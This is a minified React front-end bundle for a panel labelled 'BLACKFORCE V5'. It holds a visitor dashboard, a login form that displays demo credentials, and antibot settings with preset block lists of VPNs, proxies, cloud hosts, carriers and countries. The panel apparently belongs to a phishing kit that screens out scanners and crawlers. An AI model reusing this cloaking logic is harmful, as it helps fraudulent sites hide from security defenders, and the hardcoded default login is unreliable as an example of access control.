data"]})]})}),o.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-2 sm:gap-3",children:[o.jsx(ai,{title:"Total clients",value:N.total_clients??0,hint:`+${N.recent_24h??0} last 24h`,icon:mu}),o.jsx(ai,{title:"Avg bot score",value:N.avg_bot_score??"—",hint:"Lower is safer",icon:Rl}),o.jsx(ai,{title:"Bot blocked",value:N.bot_blocked??0,hint:"Auto-banned bots",icon:co}),o.jsx(ai,{title:"Banned (all)",value:N.banned_clients??0,hint:"Manual + bot",icon:fs})]}),o.jsxs("div",{className:"grid grid-cols-3 gap-2 sm:gap-3",children:[o.jsx(ai,{title:"Clean",value:N.clean??0,icon:G0,className:"border-green-500/20 bg-green-500/5"}),o.jsx(ai,{title:"Suspicious",value:N.suspicious??0,icon:hu,className:"border-amber-500/20 bg-amber-500/5"}),o.jsx(ai,{title:"Bot verdict",value:N.bot??0,icon:co,className:"border-red-500/20 bg-red-500/5"})]}),o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{children:"Score distribution"}),o.jsx(Hs,{hideOnMobile:!1,children:"How clients are classified by behavioral score"})]}),o.jsxs(Zn,{children:[o.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2",children:T.map(j=>{const R=N.total_clients||1,D=Math.round((j.total||0)/R*100);return o.jsxs("div",{className:"p-3 rounded-lg bg-muted/30 border border-border/40",children:[o.jsx("p",{className:"text-xs text-muted-foreground",children:j.label}),o.jsx("p",{className:"text-lg font-bold tabular-nums",children:j.total??0}),o.jsx("div",{className:"mt-2 h-1.5 rounded-full bg-muted overflow-hidden",children:o.jsx("div",{className:"h-full bg-primary rounded-full transition-all",style:{width:`${Math.min(D,100)}%`}})}),o.jsxs("p",{className:"text-[10px] text-muted-foreground mt-1",children:[D,"% of clients"]})]},j.range)})}),(N.unknown??0)>0&&o.jsxs("p",{className:"text-xs text-muted-foreground mt-2",children:[N.unknown," client(s) not scored yet · ",N.captcha_passed??0," passed captcha"]})]})]}),o.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-2 gap-3 sm:gap-4",children:[o.jsxs(kn,{children:[o.jsxs(Bn,{className:"flex flex-row items-center justify-between",children:[o.jsxs("div",{children:[o.jsx(ia,{children:"Recent clients"}),o.jsx(Hs,{children:"Latest activity"})]}),o.jsx(De,{variant:"ghost",size:"sm",className:"h-8 text-xs",asChild:!0,children:o.jsx(gs,{to:du,children:"View all"})})]}),o.jsx("div",{className:je(Cu,"space-y-1.5 max-h-[min(420px,50vh)] overflow-y-auto"),children:E.length>0?E.map(j=>o.jsx(bN,{client:j,showIsp:!0},j.id)):o.jsx("p",{className:"text-sm text-muted-foreground text-center py-6",children:"No clients yet"})})]}),o.jsxs(kn,{className:"border-amber-500/10",children:[o.jsxs(Bn,{className:"flex flex-row items-center justify-between",children:[o.jsxs("div",{children:[o.jsx(ia,{icon:hu,className:"text-amber-600 dark:text-amber-400",children:"High-risk clients"}),o.jsx(Hs,{children:"Score ≥ 31 or suspicious/bot verdict"})]}),o.jsx(De,{variant:"ghost",size:"sm",className:"h-8 text-xs",asChild:!0,children:o.jsx(gs,{to:I0,children:"Antibot"})})]}),o.jsx("div",{className:je(Cu,"space-y-1.5 max-h-[min(420px,50vh)] overflow-y-auto"),children:A.length>0?A.map(j=>o.jsx(bN,{client:j},j.id)):o.jsx("p",{className:"text-sm text-muted-foreground text-center py-6",children:"No flagged clients"})})]})]})]})}function sq(){return o.jsx(o.Fragment,{children:o.jsx(aq,{})})}const qt=C.forwardRef(({className:e,type:t,...n},s)=>o.jsx("input",{type:t,className:je("flex h-10 w-full rounded-md border border-input bg-background px-3 py-2 placeholder:text-sm text-[16px] ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",e),ref:s,...n}));qt.displayName="Input";const wN=e=>{const t=e.state?.from;return t?.pathname&&t.pathname!=="/panel"?`${t.pathname}${t.search||""}${t.hash||""}`:Fv},rq=()=>{const e=la(),t=Ca(),{login:n,loading:s,isAuthenticated:i}=Qv(),[c,u]=C.useState(!1),d="admin",[m,h]=C.useState({username:d,password:""}),[p,x]=C.useState({});if(i)return o.jsx(NE,{to:wN(t),replace:!0});const g=async w=>{w.preventDefault();const S={};if(m.username.trim()||(S.username="Username is required"),m.password||(S.password="Password is required"),Object.keys(S).length>0){x(S);return}const N=await n(m);N.success?e(wN(t),{replace:!0}):x({general:N.error})},y=w=>{const{name:S,value:N}=w.target;h(T=>({...T,[S]:N})),p[S]&&x(T=>({...T,[S]:""}))};return o.jsx("div",{className:"min-h-screen flex items-center justify-center p-4",children:o.jsxs("div",{className:"w-full max-w-md",children:[o.jsx("div",{className:"text-center mb-8",children:o.jsxs("div",{className:"flex items-center justify-center gap-2 mb-2",children:[o.jsx(q0,{className:"h-8 w-8"}),o.jsx("span",{className:"text-2xl font-bold",children:"BLACKFORCE V5"})]})}),o.jsxs($t,{className:"shadow-lg border-0 bg-card/50 backdrop-blur",children:[o.jsxs(Ln,{children:[o.jsx(Pa,{children:"Welcome Back"}),o.jsx("p",{className:"text-sm text-muted-foreground",children:"Enter your credentials to access your account"})]}),o.jsx(Gt,{children:o.jsxs("form",{onSubmit:g,className:"space-y-4",children:[p.general&&o.jsx("div",{className:"p-3 text-sm text-red-600 bg-red-50 border border-red-200 rounded-md",children:p.general}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{htmlFor:"username",children:"Username"}),o.jsx(qt,{id:"username",name:"username",type:"text",placeholder:"Enter your username",value:m.username,onChange:y,className:p.username?"border-red-500":"",disabled:s}),p.username&&o.jsx("p",{className:"text-sm text-red-600",children:p.username})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{htmlFor:"password",children:"Password"}),o.jsxs("div",{className:"relative",children:[o.jsx(qt,{id:"password",name:"password",type:c?"text":"password",placeholder:"Enter your password",value:m.password,onChange:y,className:p.password?"border-red-500 pr-10":"pr-10",disabled:s}),o.jsx(De,{type:"button",variant:"ghost",size:"sm",className:"absolute right-0 top-0 h-full px-3 py-2 hover:bg-transparent",onClick:()=>u(!c),disabled:s,children:c?o.jsx(Pv,{className:"h-4 w-4"}):o.jsx(Sr,{className:"h-4 w-4"})})]}),p.password&&o.jsx("p",{className:"text-sm text-red-600",children:p.password})]}),o.jsx(De,{type:"submit",className:"w-full",disabled:s,children:s?o.jsxs(o.Fragment,{children:[o.jsx(jn,{className:"mr-2 h-4 w-4 animate-spin"}),"Signing in..."]}):"Sign In"})]})})]}),o.jsx($t,{className:"mt-4 shadow-lg border-0 bg-card/50 backdrop-blur",children:o.jsxs(Gt,{className:"pt-6",children:[o.jsx("p",{className:"text-xs text-muted-foreground mb-2",children:"Demo Credentials:"}),o.jsxs("div",{className:"text-xs space-y-1",children:[o.jsxs("p",{children:[o.jsx("strong",{children:"Username:"})," admin"]}),o.jsxs("p",{children:[o.jsx("strong",{children:"Password:"})," password"]})]})]})})]})})};function v5(e){const t=e+"CollectionProvider",[n,s]=Dr(t),[i,c]=n(t,{collectionRef:{current:null},itemMap:new Map}),u=S=>{const{scope:N,children:T}=S,E=he.useRef(null),A=he.useRef(new Map).current;return o.jsx(i,{scope:N,itemMap:A,collectionRef:E,children:T})};u.displayName=t;const d=e+"CollectionSlot",m=pu(d),h=he.forwardRef((S,N)=>{const{scope:T,children:E}=S,A=c(d,T),j=Mt(N,A.collectionRef);return o.jsx(m,{ref:j,children:E})});h.displayName=d;const p=e+"CollectionItemSlot",x="data-radix-collection-item",g=pu(p),y=he.forwardRef((S,N)=>{const{scope:T,children:E,...A}=S,j=he.useRef(null),R=Mt(N,j),D=c(p,T);return he.useEffect(()=>(D.itemMap.set(j,{ref:j,...A}),()=>void D.itemMap.delete(j))),o.jsx(g,{[x]:"",ref:R,children:E})});y.displayName=p;function w(S){const N=c(e+"CollectionConsumer",S);return he.useCallback(()=>{const E=N.collectionRef.current;if(!E)return[];const A=Array.from(E.querySelectorAll(`[${x}]`));return Array.from(N.itemMap.values()).sort((D,k)=>A.indexOf(D.ref.current)-A.indexOf(k.ref.current))},[N.collectionRef,N.itemMap])}return[{Provider:u,Slot:h,ItemSlot:y},w,s]}var iq=C.createContext(void 0);function zy(e){const t=C.useContext(iq);return e||t||"ltr"}var Jx="rovingFocusGroup.onEntryFocus",oq={bubbles:!1,cancelable:!0},Yu="RovingFocusGroup",[nv,y5,lq]=v5(Yu),[cq,b5]=Dr(Yu,[lq]),[uq,dq]=cq(Yu),w5=C.forwardRef((e,t)=>o.jsx(nv.Provider,{scope:e.__scopeRovingFocusGroup,children:o.jsx(nv.Slot,{scope:e.__scopeRovingFocusGroup,children:o.jsx(fq,{...e,ref:t})})}));w5.displayName=Yu;var fq=C.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,orientation:s,loop:i=!1,dir:c,currentTabStopId:u,defaultCurrentTabStopId:d,onCurrentTabStopIdChange:m,onEntryFocus:h,preventScrollOnEntryFocus:p=!1,...x}=e,g=C.useRef(null),y=Mt(t,g),w=zy(c),[S,N]=di({prop:u,defaultProp:d??null,onChange:m,caller:Yu}),[T,E]=C.useState(!1),A=fi(h),j=y5(n),R=C.useRef(!1),[D,k]=C.useState(0);return C.useEffect(()=>{const B=g.current;if(B)return B.addEventListener(Jx,A),()=>B.removeEventListener(Jx,A)},[A]),o.jsx(uq,{scope:n,orientation:s,dir:w,loop:i,currentTabStopId:S,onItemFocus:C.useCallback(B=>N(B),[N]),onItemShiftTab:C.useCallback(()=>E(!0),[]),onFocusableItemAdd:C.useCallback(()=>k(B=>B+1),[]),onFocusableItemRemove:C.useCallback(()=>k(B=>B-1),[]),children:o.jsx(dt.div,{tabIndex:T||D===0?-1:0,"data-orientation":s,...x,ref:y,style:{outline:"none",...e.style},onMouseDown:at(e.onMouseDown,()=>{R.current=!0}),onFocus:at(e.onFocus,B=>{const I=!R.current;if(B.target===B.currentTarget&&I&&!T){const z=new CustomEvent(Jx,oq);if(B.currentTarget.dispatchEvent(z),!z.defaultPrevented){const U=j().filter(M=>M.focusable),$=U.find(M=>M.active),H=U.find(M=>M.id===S),se=[$,H,...U].filter(Boolean).map(M=>M.ref.current);N5(se,p)}}R.current=!1}),onBlur:at(e.onBlur,()=>E(!1))})})}),C5="RovingFocusGroupItem",S5=C.forwardRef((e,t)=>{const{__scopeRovingFocusGroup:n,focusable:s=!0,active:i=!1,tabStopId:c,children:u,...d}=e,m=Nr(),h=c||m,p=dq(C5,n),x=p.currentTabStopId===h,g=y5(n),{onFocusableItemAdd:y,onFocusableItemRemove:w,currentTabStopId:S}=p;return C.useEffect(()=>{if(s)return y(),()=>w()},[s,y,w]),o.jsx(nv.ItemSlot,{scope:n,id:h,focusable:s,active:i,children:o.jsx(dt.span,{tabIndex:x?0:-1,"data-orientation":p.orientation,...d,ref:t,onMouseDown:at(e.onMouseDown,N=>{s?p.onItemFocus(h):N.preventDefault()}),onFocus:at(e.onFocus,()=>p.onItemFocus(h)),onKeyDown:at(e.onKeyDown,N=>{if(N.key==="Tab"&&N.shiftKey){p.onItemShiftTab();return}if(N.target!==N.currentTarget)return;const T=pq(N,p.orientation,p.dir);if(T!==void 0){if(N.metaKey||N.ctrlKey||N.altKey||N.shiftKey)return;N.preventDefault();let A=g().filter(j=>j.focusable).map(j=>j.ref.current);if(T==="last")A.reverse();else if(T==="prev"||T==="next"){T==="prev"&&A.reverse();const j=A.indexOf(N.currentTarget);A=p.loop?xq(A,j+1):A.slice(j+1)}setTimeout(()=>N5(A))}}),children:typeof u=="function"?u({isCurrentTabStop:x,hasTabStop:S!=null}):u})})});S5.displayName=C5;var hq={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function mq(e,t){return t!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function pq(e,t,n){const s=mq(e.key,n);if(!(t==="vertical"&&["ArrowLeft","ArrowRight"].includes(s))&&!(t==="horizontal"&&["ArrowUp","ArrowDown"].includes(s)))return hq[s]}function N5(e,t=!1){const n=document.activeElement;for(const s of e)if(s===n||(s.focus({preventScroll:t}),document.activeElement!==n))return}function xq(e,t){return e.map((n,s)=>e[(t+s)%e.length])}var gq=w5,vq=S5,Fh="Tabs",[yq]=Dr(Fh,[b5]),E5=b5(),[bq,Vy]=yq(Fh),j5=C.forwardRef((e,t)=>{const{__scopeTabs:n,value:s,onValueChange:i,defaultValue:c,orientation:u="horizontal",dir:d,activationMode:m="automatic",...h}=e,p=zy(d),[x,g]=di({prop:s,onChange:i,defaultProp:c??"",caller:Fh});return o.jsx(bq,{scope:n,baseId:Nr(),value:x,onValueChange:g,orientation:u,dir:p,activationMode:m,children:o.jsx(dt.div,{dir:p,"data-orientation":u,...h,ref:t})})});j5.displayName=Fh;var A5="TabsList",T5=C.forwardRef((e,t)=>{const{__scopeTabs:n,loop:s=!0,...i}=e,c=Vy(A5,n),u=E5(n);return o.jsx(gq,{asChild:!0,...u,orientation:c.orientation,dir:c.dir,loop:s,children:o.jsx(dt.div,{role:"tablist","aria-orientation":c.orientation,...i,ref:t})})});T5.displayName=A5;var D5="TabsTrigger",R5=C.forwardRef((e,t)=>{const{__scopeTabs:n,value:s,disabled:i=!1,...c}=e,u=Vy(D5,n),d=E5(n),m=B5(u.baseId,s),h=M5(u.baseId,s),p=s===u.value;return o.jsx(vq,{asChild:!0,...d,focusable:!i,active:p,children:o.jsx(dt.button,{type:"button",role:"tab","aria-selected":p,"aria-controls":h,"data-state":p?"active":"inactive","data-disabled":i?"":void 0,disabled:i,id:m,...c,ref:t,onMouseDown:at(e.onMouseDown,x=>{!i&&x.button===0&&x.ctrlKey===!1?u.onValueChange(s):x.preventDefault()}),onKeyDown:at(e.onKeyDown,x=>{[" ","Enter"].includes(x.key)&&u.onValueChange(s)}),onFocus:at(e.onFocus,()=>{const x=u.activationMode!=="manual";!p&&!i&&x&&u.onValueChange(s)})})})});R5.displayName=D5;var _5="TabsContent",k5=C.forwardRef((e,t)=>{const{__scopeTabs:n,value:s,forceMount:i,children:c,...u}=e,d=Vy(_5,n),m=B5(d.baseId,s),h=M5(d.baseId,s),p=s===d.value,x=C.useRef(p);return C.useEffect(()=>{const g=requestAnimationFrame(()=>x.current=!1);return()=>cancelAnimationFrame(g)},[]),o.jsx(vo,{present:i||p,children:({present:g})=>o.jsx(dt.div,{"data-state":p?"active":"inactive","data-orientation":d.orientation,role:"tabpanel","aria-labelledby":m,hidden:!g,id:h,tabIndex:0,...u,ref:t,style:{...e.style,animationDuration:x.current?"0s":void 0},children:g&&c})})});k5.displayName=_5;function B5(e,t){return`${e}-trigger-${t}`}function M5(e,t){return`${e}-content-${t}`}var wq=j5,F5=T5,O5=R5,L5=k5;const Oh=wq,Ku=C.forwardRef(({className:e,...t},n)=>o.jsx(F5,{ref:n,className:je("flex h-10 w-full min-w-0 items-stretch justify-stretch rounded-md bg-muted p-1 text-muted-foreground",e),...t}));Ku.displayName=F5.displayName;const vs=C.forwardRef(({className:e,...t},n)=>o.jsx(O5,{ref:n,className:je("inline-flex items-center justify-center rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm min-w-0",e),...t}));vs.displayName=O5.displayName;const ys=C.forwardRef(({className:e,...t},n)=>o.jsx(L5,{ref:n,className:je("mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",e),...t}));ys.displayName=L5.displayName;function Uy(e){const t=C.useRef({value:e,previous:e});return C.useMemo(()=>(t.current.value!==e&&(t.current.previous=t.current.value,t.current.value=e),t.current.previous),[e])}function Iy(e){const[t,n]=C.useState(void 0);return ea(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const s=new ResizeObserver(i=>{if(!Array.isArray(i)||!i.length)return;const c=i[0];let u,d;if("borderBoxSize"in c){const m=c.borderBoxSize,h=Array.isArray(m)?m[0]:m;u=h.inlineSize,d=h.blockSize}else u=e.offsetWidth,d=e.offsetHeight;n({width:u,height:d})});return s.observe(e,{box:"border-box"}),()=>s.unobserve(e)}else n(void 0)},[e]),t}var Lh="Switch",[Cq]=Dr(Lh),[Sq,Nq]=Cq(Lh),P5=C.forwardRef((e,t)=>{const{__scopeSwitch:n,name:s,checked:i,defaultChecked:c,required:u,disabled:d,value:m="on",onCheckedChange:h,form:p,...x}=e,[g,y]=C.useState(null),w=Mt(t,A=>y(A)),S=C.useRef(!1),N=g?p||!!g.closest("form"):!0,[T,E]=di({prop:i,defaultProp:c??!1,onChange:h,caller:Lh});return o.jsxs(Sq,{scope:n,checked:T,disabled:d,children:[o.jsx(dt.button,{type:"button",role:"switch","aria-checked":T,"aria-required":u,"data-state":I5(T),"data-disabled":d?"":void 0,disabled:d,value:m,...x,ref:w,onClick:at(e.onClick,A=>{E(j=>!j),N&&(S.current=A.isPropagationStopped(),S.current||A.stopPropagation())})}),N&&o.jsx(U5,{control:g,bubbles:!S.current,name:s,value:m,checked:T,required:u,disabled:d,form:p,style:{transform:"translateX(-100%)"}})]})});P5.displayName=Lh;var z5="SwitchThumb",V5=C.forwardRef((e,t)=>{const{__scopeSwitch:n,...s}=e,i=Nq(z5,n);return o.jsx(dt.span,{"data-state":I5(i.checked),"data-disabled":i.disabled?"":void 0,...s,ref:t})});V5.displayName=z5;var Eq="SwitchBubbleInput",U5=C.forwardRef(({__scopeSwitch:e,control:t,checked:n,bubbles:s=!0,...i},c)=>{const u=C.useRef(null),d=Mt(u,c),m=Uy(n),h=Iy(t);return C.useEffect(()=>{const p=u.current;if(!p)return;const x=window.HTMLInputElement.prototype,y=Object.getOwnPropertyDescriptor(x,"checked").set;if(m!==n&&y){const w=new Event("click",{bubbles:s});y.call(p,n),p.dispatchEvent(w)}},[m,n,s]),o.jsx("input",{type:"checkbox","aria-hidden":!0,defaultChecked:n,...i,tabIndex:-1,ref:d,style:{...i.style,...h,position:"absolute",pointerEvents:"none",opacity:0,margin:0}})});U5.displayName=Eq;function I5(e){return e?"checked":"unchecked"}var H5=P5,jq=V5;const jl=C.forwardRef(({className:e,...t},n)=>o.jsx(H5,{className:je("peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input",e),...t,ref:n,children:o.jsx(jq,{className:je("pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0")})}));jl.displayName=H5.displayName;const Aq=Ou("relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive"}},defaultVariants:{variant:"default"}}),io=C.forwardRef(({className:e,variant:t,...n},s)=>o.jsx("div",{ref:s,role:"alert",className:je(Aq({variant:t}),e),...n}));io.displayName="Alert";const Tq=C.forwardRef(({className:e,...t},n)=>o.jsx("h5",{ref:n,className:je("mb-1 font-medium leading-none tracking-tight",e),...t}));Tq.displayName="AlertTitle";const oo=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{ref:n,className:je("text-sm [&_p]:leading-relaxed",e),...t}));oo.displayName="AlertDescription";const iu=C.forwardRef(({className:e,...t},n)=>o.jsx("textarea",{className:je("flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-base ring-offset-background placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm",e),ref:n,...t}));iu.displayName="Textarea";const CN=[{id:"vpn-proxy",label:"VPN & Proxy",operators:["nordvpn","expressvpn","surfshark","cyberghost","protonvpn","mullvad","hotspotshield","tunnelbear","windscribe","proxy","tor","socks5","datacenter"]},{id:"cloud-hosting",label:"Cloud & Hosting",operators:["cloudflare","amazon","aws","google","microsoft","azure","digitalocean","linode","vultr","hetzner","ovh","contabo","hosting"]},{id:"us-carriers",label:"US Carriers",operators:["verizon","att","tmobile","sprint","comcast","charter","cox","uscellular"]},{id:"eu-carriers",label:"EU Carriers",operators:["vodafone","orange","telefonica","deutsche telekom","o2","ee","three","telenor","swisscom","bouygues","free","proximus"]},{id:"mena-carriers",label:"MENA & Africa",operators:["maroc telecom","iam","orange maroc","ooredoo","etisalat","stc","mobily","zain","vodacom","mtn"]}],Dq=[{label:"North America",codes:["US","CA","MX"]},{label:"Western Europe",codes:["FR","DE","GB","ES","IT","NL","BE","CH","AT","PT"]},{label:"MENA",codes:["MA","DZ","TN","EG","SA","AE","QA","KW","BH","OM","JO","LB"]},{label:"High fraud risk (example block pack)",codes:["RU","CN","KP","IR"]}],Rq=e=>!e||typeof e!="string"?[]:e.split(/[,;\n]+/).map(t=>t.trim()).filter(Boolean),$c=e=>e.trim().toLowerCase();function eg({label:e="Bulk add (comma or new line separated)",placeholder:t="item1, item2, item3",onAddItems:n,transformItem:s=i=>i}){const[i,c]=C.useState(""),u=()=>{const d=Rq(i).map(s).filter(Boolean);d.length!==0&&(n(d),c(""))};return o.jsxs("div",{className:"space-y-1.5 rounded-lg border border-dashed border-border/60 p-2 sm:p-2.5 bg-muted/30",children:[o.jsx(Je,{className:"text-sm font-medium",children:e}),o.jsx(iu,{value:i,onChange:d=>c(d.target.value),placeholder:t,rows:3,className:"resize-y min-h-[72px] text-sm"}),o.jsxs(De,{type:"button",size:"sm",variant:"secondary",onClick:u,disabled:!i.trim(),children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),"Add all from list"]})]})}function _q({groups:e=[],onAddKeyword:t,onAddAllKeywords:n,emptyMessage:s="Fetch operators to see keywords per country."}){const[i,c]=C.useState(e[0]?.countryCode??null);C.useEffect(()=>{if(!e.length){c(null);return}e.some(m=>m.countryCode===i)||c(e[0].countryCode)},[e,i]);const u=e.find(d=>d.countryCode===i);return e.length?o.jsx("div",{className:"rounded-lg border border-border/60 overflow-hidden bg-background/50 w-full min-w-0 max-h-[min(280px,42dvh)] sm:max-h-[min(320px,50vh)] flex flex-col",children:o.jsxs("div",{className:"flex flex-1 min-h-0 flex-col sm:flex-row",children:[o.jsx("div",{className:"shrink-0 border-b sm:border-b-0 sm:border-r bg-muted/20 sm:w-[132px]",children:o.jsx("div",{className:"flex overflow-x-auto sm:flex-col sm:overflow-y-auto sm:max-h-[min(280px,42dvh)] [-webkit-overflow-scrolling:touch]",children:e.map(d=>{const m=d.countryCode===i,h=d.operators?.length??0;return o.jsx("button",{type:"button",onClick:()=>c(d.countryCode),className:je("shrink-0 text-left px-2 py-1.5 sm:px-2.5 sm:py-2 border-r sm:border-r-0 sm:border-b border-border/40 transition-colors","hover:bg-muted/50 sm:w-full",m&&"bg-primary/10 border-b-2 sm:border-b border-primary sm:border-l-2 sm:border-l-primary"),children:o.jsxs("div",{className:"flex items-center gap-1.5",children:[o.jsx(Ot,{variant:m?"default":"secondary",className:"text-[10px] px-1 h-4 min-w-[1.75rem] justify-center",children:d.countryCode}),o.jsx("span",{className:"text-[10px] text-muted-foreground tabular-nums",children:h})]})},d.countryCode)})})}),o.jsx("div",{className:"flex-1 flex flex-col min-w-0 min-h-[120px] sm:min-h-[140px]",children:u?o.jsxs(o.Fragment,{children:[o.jsxs("div",{className:"flex flex-col gap-1.5 px-2 py-1.5 sm:flex-row sm:items-center sm:justify-between sm:gap-2 sm:px-3 sm:py-2 border-b border-border/40 bg-muted/10",children:[o.jsxs("div",{className:"min-w-0",children:[o.jsx("p",{className:"text-xs sm:text-sm font-medium truncate",children:u.countryName}),o.jsx("p",{className:"text-[10px] sm:text-[11px] text-muted-foreground leading-tight",children:"Tap a key to allow"})]}),o.jsxs(De,{type:"button",size:"sm",variant:"secondary",className:"h-7 text-xs w-full sm:w-auto shrink-0",onClick:()=>n?.(u.operators||[]),children:[o.jsx(li,{className:"h-3 w-3 mr-1"}),"All (",u.operators?.length||0,")"]})]}),o.jsx("div",{className:"px-2 py-2 sm:p-3 overflow-y-auto flex-1 [-webkit-overflow-scrolling:touch]",children:o.jsx("div",{className:"grid grid-cols-4 sm:grid-cols-4 md:grid-cols-5 gap-1 sm:gap-1.5",children:(u.operators||[]).map(d=>o.jsx("button",{type:"button",title:`Add "${d}"`,onClick:()=>t?.(d),className:je("text-[11px] sm:text-xs px-1 py-1 sm:px-2 sm:py-1.5 rounded-md border border-border/60","bg-background hover:bg-primary/10 hover:border-primary/40 transition-colors","truncate text-center font-medium min-w-0"),children:d},`${u.countryCode}-${d}`))})})]}):o.jsx("p",{className:"text-xs text-muted-foreground p-3",children:"Select a country"})})]})}):o.jsx("p",{className:"text-xs text-muted-foreground text-center py-4 border border-dashed rounded-lg",children:s})}const SN="min-w-0 w-full min-h-[2.75rem] sm:min-h-9 flex flex-col items-center justify-center gap-0 rounded-sm px-0.5 py-1 text-[10px] leading-tight font-medium whitespace-normal sm:flex-row sm:gap-1.5 sm:px-2.5 sm:py-2 sm:text-xs md:text-sm";function kq({blockedCount:e=0,allowedCount:t=0,blockedContent:n,allowedContent:s,defaultValue:i="blocked"}){return o.jsxs(Oh,{defaultValue:i,className:"w-full min-w-0",children:[o.jsxs(Ku,{className:"grid w-full grid-cols-2 h-auto min-h-0 gap-0.5 p-0.5 rounded-md bg-muted",children:[o.jsxs(vs,{value:"blocked",className:SN,children:[o.jsx(Ng,{className:"hidden sm:block h-3.5 w-3.5 sm:h-4 sm:w-4 shrink-0","aria-hidden":!0}),o.jsx("span",{children:"Block"}),o.jsx("span",{className:"tabular-nums opacity-70 sm:opacity-100",children:e})]}),o.jsxs(vs,{value:"allowed",className:SN,children:[o.jsx(G0,{className:"hidden sm:block h-3.5 w-3.5 sm:h-4 sm:w-4 shrink-0","aria-hidden":!0}),o.jsx("span",{children:"Allow"}),o.jsx("span",{className:"tabular-nums opacity-70 sm:opacity-100",children:t})]})]}),o.jsx(ys,{value:"blocked",className:je("mt-2 sm:mt-4 space-y-2 sm:space-y-3 focus-visible:ring-0"),children:n}),o.jsx(ys,{value:"allowed",className:je("mt-2 sm:mt-4 space-y-2 sm:space-y-3 focus-visible:ring-0"),children:s})]})}const Xu=C.forwardRef(({className:e,...t},n)=>o.jsx("div",{className:"relative w-full overflow-auto",children:o.jsx("table",{ref:n,className:je("w-full caption-bottom text-sm",e),...t})}));Xu.displayName="Table";const Wu=C.forwardRef(({className:e,...t},n)=>o.jsx("thead",{ref:n,className:je("[&_tr]:border-b",e),...t}));Wu.displayName="TableHeader";const Qu=C.forwardRef(({className:e,...t},n)=>o.jsx("tbody",{ref:n,className:je("[&_tr:last-child]:border-0",e),...t}));Qu.displayName="TableBody";const Bq=C.forwardRef(({className:e,...t},n)=>o.jsx("tfoot",{ref:n,className:je("border-t bg-muted/50 font-medium [&>tr]:last:border-b-0",e),...t}));Bq.displayName="TableFooter";const $s=C.forwardRef(({className:e,...t},n)=>o.jsx("tr",{ref:n,className:je("border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",e),...t}));$s.displayName="TableRow";const Nt=C.forwardRef(({className:e,...t},n)=>o.jsx("th",{ref:n,className:je("h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",e),...t}));Nt.displayName="TableHead";const wt=C.forwardRef(({className:e,...t},n)=>o.jsx("td",{ref:n,className:je("p-4 align-middle [&:has([role=checkbox])]:pr-0",e),...t}));wt.displayName="TableCell";const Mq=C.forwardRef(({className:e,...t},n)=>o.jsx("caption",{ref:n,className:je("mt-4 text-sm text-muted-foreground",e),...t}));Mq.displayName="TableCaption";const Fq={bot_detected:"Bot score (≥61)",country_not_allowed:"Country not allowed",proxy_detected:"Proxy / hosting",crawler_detected:"Crawler",operator_blacklist:"Operator blacklist",operator_whitelist:"Operator not whitelisted"};function Oq(e){return e?Fq[e]||e.replace(/_/g," "):"Banned"}function Lq(){const e=Qt(),{success:t,errorUnlessNotified:n}=yi(),[s,i]=C.useState([]),[c,u]=C.useState(!0),[d,m]=C.useState(null),h=async()=>{u(!0);try{const g=await e.get("/clients/blocked-bots"),y=g?.data??g,w=Array.isArray(y)?y:Array.isArray(y?.data)?y.data:[];i(w)}catch(g){n(g,"Failed to load blocked bots"),i([])}finally{u(!1)}};C.useEffect(()=>{h()},[]);const p=async g=>{m(g.id);try{await e.create(`/clients/${g.id}/ban`,{},!1),t(`Client ${g.unique_id} unblocked`),await h()}catch(y){n(y,"Failed to unblock client")}finally{m(null)}},x=(g,y)=>{const w=g==="bot"?"destructive":g==="suspicious"?"secondary":"outline";return o.jsxs(Ot,{variant:w,className:"font-mono text-xs",children:[g||"unknown"," ",y!=null?`(${y})`:""]})};return o.jsxs(kn,{children:[o.jsxs(Bn,{className:"flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between",children:[o.jsxs("div",{children:[o.jsxs(ia,{className:"text-destructive flex items-center gap-2",children:[o.jsx(co,{className:"h-4 w-4 shrink-0"}),"Blocked visitors"]}),o.jsx(Hs,{children:"Clients banned by antibot rules (bot score, country, proxy, crawler, 